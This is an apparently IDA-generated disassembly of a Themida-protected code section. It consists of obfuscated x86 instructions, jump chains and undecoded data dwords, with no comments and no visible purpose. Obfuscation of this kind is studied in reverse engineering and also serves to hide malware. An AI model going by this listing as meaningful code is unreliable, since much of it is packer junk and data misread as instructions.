		dd 72C181D1h, 81784539h, 2110AAE9h, 59C80172h, 8704C083h
		dd 205C2404h, 148B66F0h, 0E6895624h, 4BB53h, 0C6810000h
		dd 108A70C2h, 2893E9h, 4C9DE900h, 0E589FFFFh, 0C49AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B282:				; CODE XREF: Themida_:005565FFj
		not	dword ptr [esp]
		pop	esi
		inc	esi
		jmp	loc_562824
; ---------------------------------------------------------------------------


loc_55B28C:				; CODE XREF: Themida_:0055D6DAj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	58FF3F93h
		pop	ebx
		or	ebx, 49A34B2Ch
		shl	ebx, 2
		sub	ebx, 12E0F1A7h
		mov	ebp, ebx
		jmp	loc_55DC7A
; ---------------------------------------------------------------------------


loc_55B2BB:				; CODE XREF: Themida_:005560B7j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55D0BC
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 4EC8359h, 0BD242C89h, 40686FA7h, 0FFCB47E9h,	5BD821FFh
		dd 5745720Dh, 1FCA2D4Fh, 21E92C14h, 4AFFFF98h, 818FEA81h
		dd 5DE96D1Dh, 53FFFF54h, 0FFE837E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B2FD:				; CODE XREF: Themida_:0055ED12j
		mov	ebp, 5A3941FFh
		or	ebp, 32C33A9Ah
		jmp	loc_562A27
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
aPsq		db '$\Péq,',0
		align 4
		dd 0FF4BFAE9h, 243C89FFh, 0C781E789h, 4, 0E904C783h, 0FFFFF661h
		dd 81E18951h, 4C1h, 2C18300h, 0FF56EEE9h, 448158FFh, 3EF40424h
		dd 0B6E97261h, 58000045h, 0D800FC2Ch, 305BFC04h, 0C0B60FC3h
		dd 24148B66h, 1E9C68h, 24348900h, 402E68h, 3B24E900h, 1C890000h
		dd 0BB8E924h, 815A0000h, 4ECh, 0EA61E900h, 8957FFFFh, 0E95652E7h
		dd 5A07h, 1A6CF281h, 0EA810445h, 3FCE6165h, 0FA7DC281h
		dd 0D089677Dh, 8526E95Ah, 0E95F0000h, 0FFFF5837h
; ---------------------------------------------------------------------------


loc_55B3B0:				; CODE XREF: Themida_:00559AA1j
		sub	edx, 0E63FC518h
		jmp	loc_557BA4
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4EC81h, 1C890000h, 2CD1BB24h, 514B2BA9h, 637DBF57h
		dd 0F9891869h, 0FFE9815Fh, 68FFFFFFh, 58E9h, 57240489h
		dd 87ACE9h, 5AD10900h, 34C18141h, 14D48F8h, 0CF8159CFh
		dd 78916B5Bh, 0FF949FE9h, 66D388FFh, 8124148Bh,	2C4h, 4EC8100h
		dd 0E9000000h, 0FFFF8240h, 5303EAC1h, 64526CBBh, 5BDA2170h
		dd 5E4DB850h, 5548543Ah, 607BF9BDh, 81F58174h, 0C16F4B50h
		dd 0D5F703E5h, 0FB2EF581h, 0E80963ACh, 5E8C15Dh, 9E67CE05h
		dd 51F7E916h, 0C1810000h, 45964278h, 0E908E1C1h, 0FFFF4B05h
; ---------------------------------------------------------------------------


loc_55B460:				; CODE XREF: Themida_:005640A0j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55539D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835A2434h, 0D10104C4h, 240C335Ah, 33240C31h,	0E95C240Ch
		dd 599Bh
; ---------------------------------------------------------------------------


loc_55B484:				; CODE XREF: Themida_:005551A0j
		add	eax, 67701DF8h
		jmp	loc_55AC56
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 1BD242Ch, 68000000h,	2D6Fh, 55243489h, 0FFDE68E9h, 5BD801FFh
		dd 0E9505152h, 10E7h, 0D2180BAh, 42DAF775h, 0FF6174E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B4BD:				; CODE XREF: Themida_:00557ABDj
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		xor	ebx, 340A38CEh
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_56126B
; ---------------------------------------------------------------------------
		dd 4EC81h, 0D5E90000h, 83FFFF7Fh, 0C8704C1h, 6685C24h
		dd 89000015h, 91682414h, 8B1F604Dh, 0C4832414h,	2E2C104h
		dd 7A0ACA81h, 6E94125h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B52F:				; CODE XREF: Themida_:00558915j
		add	esp, 4
		xor	edx, 9A70A8Fh
		sub	ebp, 6DA7DF6h
		sub	ebp, 6A675F83h
		jmp	loc_561A24
; ---------------------------------------------------------------------------
		db 58h,	5Bh, 0C1h
		dd 895304E0h, 4C381E3h,	83000000h, 1C8704EBh, 81E95C24h
		dd 0B000000Bh, 0B6526652h, 66F0080Fh, 2CD0F65Ah, 77EB806Dh
		dd 0FF4F27E9h, 28EA81FFh, 13B197Ch, 0E8095AD5h,	0A8E9485Dh
		dd 66000025h, 5524048Bh, 0FFA38AE9h, 241C8BFFh,	4C481h
		dd 0C330000h, 240C3124h, 0E9240C33h, 0FFFFAC2Ch, 40558h
		dd 0BE560000h, 4, 875EF001h, 95E92404h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5C3:				; CODE XREF: Themida_:00550345j
		shr	esi, 3
		xor	esi, 7F571251h
		sub	esi, 61D04CABh
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5585BB
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 6F704F78h, 0FFAFDBE9h, 66F028FFh, 28A7B151h,	0C8B66C8h
		dd 2C48124h, 66000000h,	6824148Bh, 0B99h, 54241489h, 3AD4E95Ah
		dd 0FDB80000h, 0BD3C6E08h, 2A345565h, 3FE9C531h, 5CFFFF64h
		dd 4C381h, 0BA520000h, 2, 875AD301h, 64E9241Ch,	81000088h
		dd 0E23034EDh, 0B0C58172h, 81038904h, 732417C5h, 81C5012Fh
		dd 732417EDh, 0B0ED812Fh, 0E9038904h, 0FFFFB02Ch, 4BDh
		dd 0C1A5E900h, 0D8F7FFFFh, 22281A25h, 61773535h, 620563DEh
		dd 89F3410Ah, 1F53E9C5h, 0F5810000h, 25F74C2Ah,	4503E5C1h
		dd 59C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B695:				; CODE XREF: Themida_:0055F13Aj
		mov	ebx, 50D17FA4h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55BC33
; ---------------------------------------------------------------------------
aQissr		db 'Q䇎"',0
		align 2
		dw 2C87h
		dd 0DE45E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B6BA:				; CODE XREF: Themida_:00558211j
		pop	esp
		sub	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_55CFE4
; ---------------------------------------------------------------------------


loc_55B6C7:				; CODE XREF: Themida_:00557464j
		mov	[esp], eax
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		db 50h
		dd 2B8h, 0E9C68900h, 3972h, 4C581h, 0ED810000h,	4, 5C242C87h
		dd 0FF83FDE9h, 47BF68FFh, 1C890000h, 2BB24h, 0C1810000h
		dd 7D4F65A6h, 0E981D901h, 7D4F65A6h, 5B2434FFh,	68E18951h
		dd 5058h, 0E9243C89h, 482h
dword_55B720	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 69B7h, 0D8007504h
					; DATA XREF: Themida_:0054FE48o
		dd 80BDB353h, 0F38023EBh, 63EB80BCh, 52DAF380h,	0F328A4B6h
		dd 5BD8285Ah, 5856E9h, 4EC8100h, 89000000h, 4AB82404h
		dd 0BE79E718h, 0E78E58Ah, 48BC631h, 0DD9CE924h,	0F281FFFFh
		dd 0ED03913Eh, 0FF9027E9h, 0C8966FFh, 5828E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B782:				; CODE XREF: Themida_:00557665j
		push	ebx
		push	edx
		jmp	loc_55F842
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0ED810000h, 0A698B6h, 6C3EB81h, 0EB292D73h
		dd 6CADE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B7A5:				; CODE XREF: Themida_:00559E7Aj
		add	ebp, 4
		jmp	loc_55222E
; ---------------------------------------------------------------------------
		dd 0AB4BE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7B6:				; CODE XREF: Themida_:00561CB4j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55EA2F
; ---------------------------------------------------------------------------
		db 83h
		dd 97E904C4h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7CB:				; CODE XREF: Themida_:00562873j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_556B1B
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 0E1F480B4h, 43E9E628h
		db 0BDh, 2 dup(0FFh)
byte_55B7F3	db 64h			; DATA XREF: Themida_:0054FD7Co
		dd 83028B66h, 0C8904ECh, 68E18924h, 3AD8h, 68241489h, 4A73h
		dd 68243C89h, 211Dh, 0BB241C89h, 0AD56C98h, 0FCF684Bh
		dd 4890000h, 3A71B824h,	0F740438Fh, 43EC05D8h, 4E9A05Ch
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B837:				; CODE XREF: Themida_:00562E8Bj
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5576E2
; ---------------------------------------------------------------------------


loc_55B843:				; CODE XREF: Themida_:00560102j
		mov	[esp], esp
		jmp	loc_5520B6
; ---------------------------------------------------------------------------
		db 0BDh
		dd 12985287h, 34FFEE01h, 0C4AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B85A:				; CODE XREF: Themida_:0055CB20j
		xor	[esp+4], edi
		pop	edi
		pop	esi
		jmp	loc_55CC09
; ---------------------------------------------------------------------------


loc_55B865:				; CODE XREF: Themida_:00550035j
		pop	eax
		sub	[edi+24h], edx
		mov	edx, [esp]
		jmp	loc_56117A
; ---------------------------------------------------------------------------


loc_55B871:				; CODE XREF: Themida_:00554C18j
		pop	eax
		dec	ebx
		add	ebx, 2EFC180Bh
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 6
		or	eax, 330D0537h
		xor	eax, 0E875CDCh
		shr	eax, 6
		xor	eax, 0F4E942h
		add	ebx, 48BB5BA3h
		add	ebx, 13B35E03h
		add	ebx, eax
		push	eax
		mov	eax, 6EA506BFh
		sub	eax, 4FC50356h
		xor	eax, 2589038Bh
		sub	eax, 27B5A2DFh
		sub	ebx, eax
		pop	eax
		sub	ebx, 48BB5BA3h
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 4
		jmp	loc_557184
; ---------------------------------------------------------------------------
		dw 0CE89h
		dd 0FF4F81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B8DD:				; CODE XREF: Themida_:00558396j
		mov	edx, [esp]
		add	esp, 4
		xor	edx, eax
		push	dword ptr [esp]
		jmp	loc_553F09
; ---------------------------------------------------------------------------
		dd 6EC4E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8F6:				; CODE XREF: Themida_:00558DC6j
		mov	eax, esp
		push	edi
		mov	edi, 532E0214h
		or	edi, 29AF3AE5h
		jmp	loc_55ECD6
; ---------------------------------------------------------------------------
		db 58h,	50h, 0B0h
		dd 0C501E98Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B912:				; CODE XREF: Themida_:0056051Dj
		push	ecx
		mov	ecx, 1F803C74h
		shl	ecx, 8
		jmp	loc_55733B
; ---------------------------------------------------------------------------


loc_55B920:				; CODE XREF: Themida_:005519FFj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5522CE
; ---------------------------------------------------------------------------


loc_55B929:				; CODE XREF: Themida_:0055CF43j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55959D
; ---------------------------------------------------------------------------
		dd 50EBB353h, 9CE9BCB4h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B93F:				; CODE XREF: Themida_:005529E5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56398B
; ---------------------------------------------------------------------------


loc_55B954:				; CODE XREF: Themida_:00553600j
		push	5E3Fh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 10h
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 76D73E50h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	edx, 76D73E50h
		mov	esi, [esp]
		add	esp, 4
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_55FA33
; ---------------------------------------------------------------------------
		dw 8358h
		dd 505104C4h, 0FFEA9AE9h, 666855FFh, 5D6F8C0Fh,	8106EDC1h
		dd 0FFFFFFEDh, 272BE9FFh, 0F5810000h, 3DEF2E83h, 0FF6E89E9h
		dd 7CC681FFh, 8168B657h, 502D07F6h, 55DEF70Fh, 7A4F35BDh
		dd 237DE916h, 4890000h,	2B824h,	0EE810000h, 6DB91C4Ch
		dd 52E9C601h, 83FFFF78h, 0F93104C4h, 62BD555Fh,	0C136FF5Bh
		dd 0C0E908E5h, 0FFFF6Ch, 34E959EBh, 83FFFFF9h, 506602C4h
		dd 0E230FBB4h, 0E9505866h, 0AD5h
; ---------------------------------------------------------------------------


loc_55BA2C:				; CODE XREF: Themida_:0055111Fj
		add	esp, 4
		jmp	loc_55003A
; ---------------------------------------------------------------------------
		db 81h
		dd 0E843CCEAh, 45E95039h, 31FFFF59h, 9B15E9C5h,	0C5890000h
		dd 0FFF8F0E9h, 89FD89FFh, 3C8B5DEAh, 4C48324h, 8904EC83h
		dd 0FE9242Ch
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA67:				; CODE XREF: Themida_:00559443j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_554731
; ---------------------------------------------------------------------------


loc_55BA72:				; CODE XREF: Themida_:005581CFj
		pop	ebp
		jmp	loc_552DFA
; ---------------------------------------------------------------------------
		dd 8324148Bh, 815F04C4h, 4C7h, 4EC8300h, 68241489h, 5E12h
		dd 0E9243489h, 0FFFF4B5Ah
; ---------------------------------------------------------------------------


loc_55BA98:				; CODE XREF: Themida_:0055EE36j
		mov	ebx, 52125C14h
		push	52125C15h
		pop	esi
		jmp	loc_5542D4
; ---------------------------------------------------------------------------
		dd 0D2EB951h, 0E9C17234h, 34D8E903h, 0F1010000h, 4E9815Eh
		dd 87000000h, 895C240Ch, 53502414h, 15E96CB3h, 81FFFFBEh
		dd 0B62E68F3h, 5BD90141h, 24348151h, 3F800233h,	7A6BE95Dh
		dd 3BB90000h, 2158150Ah, 0BD5559C8h, 0C397C166h, 895DE829h
		dd 6879E9C7h, 30680000h, 8900006Bh, 44E9240Ch, 0B1FFFF88h
		dd 9159E91Bh, 0E90000h,	81FFFF44h, 4639AFEEh, 8E6C122h
		dd 0B9B6EE81h, 0F0316FFBh, 0FFD2C1E9h, 8B5450FFh, 89572404h
		dd 4C781E7h, 0E9000000h, 1875h
; ---------------------------------------------------------------------------


loc_55BB40:				; CODE XREF: Themida_:0055901Aj
		mov	[esp], eax
		push	ebx
		jmp	loc_562FFB
; ---------------------------------------------------------------------------
		db 5Ah,	4, 0E9h
		dd 5CE9C328h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB53:				; CODE XREF: Themida_:005520BAj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5581C5
; ---------------------------------------------------------------------------


loc_55BB5F:				; CODE XREF: Themida_:00560072j
		push	eax
		mov	eax, 78D2672Ah
		add	ecx, eax
		pop	eax
		push	47A2h
		mov	[esp], ebp
		mov	ebp, 605D20AFh
		jmp	loc_5606EB
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 0E8EDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB82:				; CODE XREF: Themida_:00560CA4j
		xchg	esi, [esp]
		jmp	loc_555EC3
; ---------------------------------------------------------------------------


loc_55BB8A:				; CODE XREF: Themida_:00553AE9j
		sub	eax, 37837B74h
		mov	ebp, eax
		pop	eax
		jmp	loc_552ED9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 6BF4E904h, 0BBFFFFFh, 813B8630h,	75145EE7h
		dd 0EF7810Eh, 10A0410h,	485EE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBBA:				; CODE XREF: Themida_:0055F509j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_552834
; ---------------------------------------------------------------------------


loc_55BBC6:				; CODE XREF: Themida_:00558E7Fj
		push	esp
		jmp	loc_55CB14
; ---------------------------------------------------------------------------


loc_55BBCC:				; CODE XREF: Themida_:00561421j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_561180
		sub	esp, 4
		jmp	loc_55DF0A
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 62E95A54h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC0B:				; CODE XREF: Themida_:00562ED2j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5587D2
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0CEF28108h, 8140215Eh, 853055E2h, 41EA8157h,	0C14EB07Eh
		dd 55E908EAh
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC33:				; CODE XREF: Themida_:0055B6A5j
		push	edi
		mov	edi, 683300F2h
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 5B387B37h
		add	esi, 37738D7h
		push	4ACCh
		mov	[esp], edi
		push	edx
		push	75312934h
		pop	edx
		sub	edx, 940FEC40h
		mov	edi, edx
		jmp	loc_550A10
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0F7h
		dd 0CDBD55DFh, 817B7277h, 5241A6EDh, 81DDF716h,	633E2BEDh
		dd 5DEF29A3h, 0F75FFD89h, 2AC581D5h, 0E936D24Eh, 0FFFFD2D9h
; ---------------------------------------------------------------------------


loc_55BC94:				; CODE XREF: Themida_:00557022j
		add	dword ptr [esp+4], 28163696h
		pop	ebp
		jmp	loc_55F2B8
; ---------------------------------------------------------------------------


loc_55BCA2:				; CODE XREF: Themida_:0055734Dj
		not	ecx
		xor	ecx, 0F22A2465h
		jmp	loc_558C59
; ---------------------------------------------------------------------------
		db 0FFh
a4SG		db '4$éÞg',0
		dw 5900h
		dd 5758C329h, 181D51BFh, 4EFC151h, 1BB2C781h, 0D1E92462h
		dd 87FFFF5Bh, 248B2404h, 241C8924h, 241C8B54h, 4C481h
		dd 0BD550000h, 4E4C7393h, 3EDC145h, 27C7ED81h, 0F5810332h
		dd 69766AFh, 51BEE9h, 45D5F700h, 791BED81h, 83E9D49Ah
		db 0Fh,	2 dup(0)
byte_55BD0B	db 66h			; DATA XREF: Themida_:0054FDBCo
		dd 5124048Bh, 7AE9E189h, 0F7FFFF87h, 0C6A68E1h,	14890000h
		dd 0E99C5024h, 0FFFF821Fh, 0E9E38953h, 121Eh, 4C181h, 0C1830000h
		dd 240C8704h, 7BEF815Ch, 0E9061230h, 95E0h, 0C1015D5Bh
		dd 43D6E9h, 5FC8B900h, 0EB8178BBh, 4C1B6A6Eh, 0BD55CB01h
		dd 7A2208FDh, 0F581DDF7h, 0C9C69D6Dh, 595DEB01h, 6852h
		dd 72E90000h, 5200001Dh, 0C281E289h, 4,	4EA81h,	14870000h
		dd 14895C24h, 97F2E924h, 815A0000h, 0C76136EBh,	5BDE010Bh
		dd 0E902C683h, 0FFFF5D25h, 8958C629h, 24348BF1h, 0E904C483h
		dd 4705h
; ---------------------------------------------------------------------------


loc_55BDB8:				; CODE XREF: Themida_:00556F17j
		xor	ebp, 68C61CC7h
		push	ebp
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		shl	esi, 1
		jmp	loc_55FC2D
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 34FF0424h, 24048B24h, 8104C483h, 4C4h, 24048F00h, 0FFF69DE9h
		dd 0C0D7F6FFh, 0EF8004E7h, 0CE780DBh, 0C0E9CFFEh
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE03:				; CODE XREF: Themida_:00556547j
		inc	bh
		sub	bh, 3Ch
		jmp	loc_55900A
; ---------------------------------------------------------------------------


loc_55BE0D:				; CODE XREF: Themida_:00554C04j
		push	eax
		mov	eax, 615B579Eh
		add	eax, 44A22099h
		jmp	loc_5622B1
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 77h
		dd 0FFBAD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE25:				; CODE XREF: Themida_:0055016Dj
		xor	ebx, 63E00643h
		shr	ebx, 3
		sub	ebx, 7CC434E5h
		not	ebx
		and	ebx, 70756080h
		add	ebx, 8FFFFF84h
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_563E84
; ---------------------------------------------------------------------------


loc_55BE50:				; CODE XREF: Themida_:005593BDj
		push	229Bh
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_55F975
; ---------------------------------------------------------------------------


loc_55BE61:				; CODE XREF: Themida_:0055ABD4j
		add	ebx, 36F91078h
		pop	eax
		push	ebp
		mov	ebp, 165E3783h
		add	ecx, ebp
		pop	ebp
		jmp	loc_55FAAC
; ---------------------------------------------------------------------------


loc_55BE76:				; CODE XREF: Themida_:0055D333j
		pop	esp
		mov	[esp], eax
		mov	ah, 54h
		or	bl, ah
		pop	eax
		neg	bl
		shl	bl, 3
		xor	bl, 24h
		add	cl, bl
		pop	ebx
		xor	al, cl
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55DA3D
; ---------------------------------------------------------------------------


loc_55BE97:				; CODE XREF: Themida_:0055A058j
		neg	ebx
		shr	ebx, 5
		sub	ebx, 0C3C56AEFh
		add	ecx, ebx
		pop	ebx
		or	ecx, 565B4A9Dh
		push	3384h
		mov	[esp], edx
		push	edi
		push	eax
		mov	eax, 6A9A73D3h
		mov	edi, 0A7FE0261h
		add	edi, eax
		pop	eax
		shl	edi, 7
		neg	edi
		jmp	loc_565060
; ---------------------------------------------------------------------------
		dd 5933BD55h, 5DE9502Eh
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BED7:				; CODE XREF: Themida_:00555F7Aj
		mov	[esp], ecx
		jmp	loc_55646A
; ---------------------------------------------------------------------------
		db 56h
		dd 0D3295E5Ah, 1CEB685Ah, 1C890000h, 5350E924h,	0B9BF0000h
		dd 81446E3Bh, 0F31954CFh, 4EC836Eh, 0B8240489h,	0D332FF17h
		dd 2958C701h, 1962E9F8h, 0CE010000h, 657CEE81h,	875935C9h
		dd 248B2434h, 0E1895124h, 3C1FE9h, 4C48300h, 0DD20E95Bh
		dd 0FEBBFFFFh, 0F709BE06h, 0ABCB81DBh, 81587A3Ch, 0EF6A60E3h
		dd 31EB810Dh, 0E91BAC26h, 8440h, 54E9F001h, 53FFFF87h
		dd 5B2404FFh, 0E6E9DBF7h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF63:				; CODE XREF: Themida_:0055E373j
		push	edx
		mov	edx, ecx
		push	ecx
		mov	ecx, edx
		mov	ebp, ecx
		jmp	loc_551A16
; ---------------------------------------------------------------------------


loc_55BF70:				; CODE XREF: Themida_:0055A1C6j
		sub	eax, 1F193499h
		add	eax, 652E035Eh
		push	ebp
		mov	ebp, 2BDF257Ah
		and	eax, ebp
		pop	ebp
		jmp	loc_556A87
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 5104C483h, 0BA52E189h, 4,	815AD101h, 4E9h
		dd 240C8700h, 8924248Bh, 0BF57242Ch, 1EDA018Ah,	0FFFCB4E9h
		dd 240489FFh, 0FFA704E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BFBD:				; CODE XREF: Themida_:0055C8DBj
		sub	edx, edi
		sub	edx, 2E75977h
		jmp	loc_56330A
; ---------------------------------------------------------------------------


loc_55BFCA:				; CODE XREF: Themida_:0055EDCAj
		sub	esi, 1
		shr	esi, 4
		dec	esi
		inc	esi
		add	esi, 3C745F15h
		push	edi
		mov	edi, 95312B9h
		shl	edi, 7
		and	edi, 17E31F06h
		sub	edi, 1811C01h
		sub	esi, 50A96EBFh
		add	esi, edi
		add	esi, 50A96EBFh
		pop	edi
		sub	esi, 83C0B58h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		and	ecx, edi
		jmp	loc_553EF2
; ---------------------------------------------------------------------------


loc_55C014:				; CODE XREF: Themida_:005642EFj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_562AEE
; ---------------------------------------------------------------------------
		dd 6804C483h, 1708h, 0FF9A95E9h, 5DF768FFh, 4890000h, 34FF5424h
		dd 0F948E924h, 0EC83FFFFh, 241C8904h, 904AE950h, 89660000h
		dd 9B5240Ch, 5966EB28h,	5958E9h, 0B1B95100h, 0F70FEA32h
		dd 3EE941D9h, 83000015h, 0FA3002C4h, 93EA805Bh,	0FFC45BE9h
		dd 24048FFFh, 8852665Ch, 88D2F6C2h, 0E95A66D0h,	0FFFFA675h
		dd 5763E951h, 0BA520000h, 22ED48Ch, 0E95AD129h,	0FFFF6830h
		dd 0E904EC83h, 1FEAh
dword_55C0C4	dd 0FF2434FFh, 34FF2434h, 2434FF24h, 4C48358h, 4EC81h
					; DATA XREF: Themida_:0054FDD0o
		dd 0C890000h, 0E9E18924h, 0FFFF5342h, 52243489h, 0D47834BAh
		dd 5AD68952h, 78E9F031h, 1FFFF42h, 0E904244Ch, 0FFFF7E87h
		dd 81E18951h, 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h
		dd 8324248Bh, 0C8904ECh, 4B85024h, 53000000h, 0D989C389h
		dd 8B2434FFh, 0C483241Ch, 4C48104h, 58000000h, 0B3E9CF01h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C143:				; CODE XREF: Themida_:00563155j
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	5D95h
		mov	[esp], ecx
		mov	ecx, 3FCh
		jmp	loc_563E0E
; ---------------------------------------------------------------------------


loc_55C160:				; CODE XREF: Themida_:005578C7j
		xor	edx, 12127F98h
		sub	edx, 3DCDB143h
		jmp	loc_5650EB
; ---------------------------------------------------------------------------
byte_55C171	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FEC0o
		dd 582434FFh, 7D4A68h, 0D7B9E900h, 0B850FFFFh, 2FE00BF6h
		dd 5EB5E948h, 0E95EFFFFh, 28A1h, 62D68h, 49C4E900h, 56660000h
		dd 229EBE66h, 47AE9h, 0D9E95C00h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1AF:				; CODE XREF: Themida_:00551E1Bj
		mov	ebp, [esp]
		jmp	loc_554CF8
; ---------------------------------------------------------------------------
		db 81h
		dd 44883CC5h, 0E9EE01E8h, 0FFFF8F77h
; ---------------------------------------------------------------------------


loc_55C1C4:				; CODE XREF: Themida_:0056048Dj
		add	esi, 611F3CB7h
		pop	edx
		add	eax, esi
		pop	esi
		jmp	loc_550033
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 4C48304h, 4A3BA52h, 0CA810BE4h, 53223E30h
		dd 0DA968h, 240C8900h, 0FFFFFFB9h, 0F0CCE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1FA:				; CODE XREF: Themida_:00553317j
		and	ebx, 66123888h
		push	ecx
		mov	ecx, 5AAA3D79h
		add	ebx, ecx
		pop	ecx
		sub	edi, ebx
		pop	ebx
		shl	edi, 3
		add	edi, 9251B466h
		jmp	loc_561E0D
; ---------------------------------------------------------------------------


loc_55C21A:				; CODE XREF: Themida_:00556F04j
		mov	ebp, esp
		jmp	loc_551A04
; ---------------------------------------------------------------------------


loc_55C221:				; CODE XREF: Themida_:005572A8j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 4
		add	esi, 2
		push	esi
		mov	esi, esp
		jmp	loc_555ECF
; ---------------------------------------------------------------------------
		dd 0CA2BB305h, 35B95110h, 0E91AA23Eh, 60E3h, 8704C083h
		dd 555C2404h, 4BDh, 6E2AE900h, 0C7810000h, 1, 8F7EE947h
